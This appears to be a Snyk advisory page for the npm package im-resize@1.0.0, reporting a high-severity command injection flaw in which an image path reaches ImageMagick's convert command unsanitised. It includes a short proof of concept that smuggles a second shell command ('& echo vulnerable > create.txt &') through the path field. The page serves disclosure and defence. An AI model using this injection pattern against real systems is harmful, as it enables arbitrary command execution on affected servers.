Homepage

im-resize@1.0.0 vulnerabilities

Efficient image resize with multiple versions support

  • latest version

    2.3.2

  • first published

    10 years ago

  • latest version published

    8 years ago

  • licenses detected

  • View im-resize package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the im-resize package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Command Injection

    im-resize is an efficient image resize with support for multiple thumbnail configurations using ImageMagick's convert command.

    Affected versions of this package are vulnerable to Command Injection. The cmd argument used within index.js, can be controlled by user without any sanitization.

    PoC by JHU System Security Lab

    var root = require('im-resize')
var image = {
"path": "& echo vulnerable > create.txt &"

}
var output ={
"versions":[]
}
root(image,output,function(){});

    How to fix Command Injection?

    A fix was pushed into the master branch but not yet published.

    *
    Go back to all versions of this package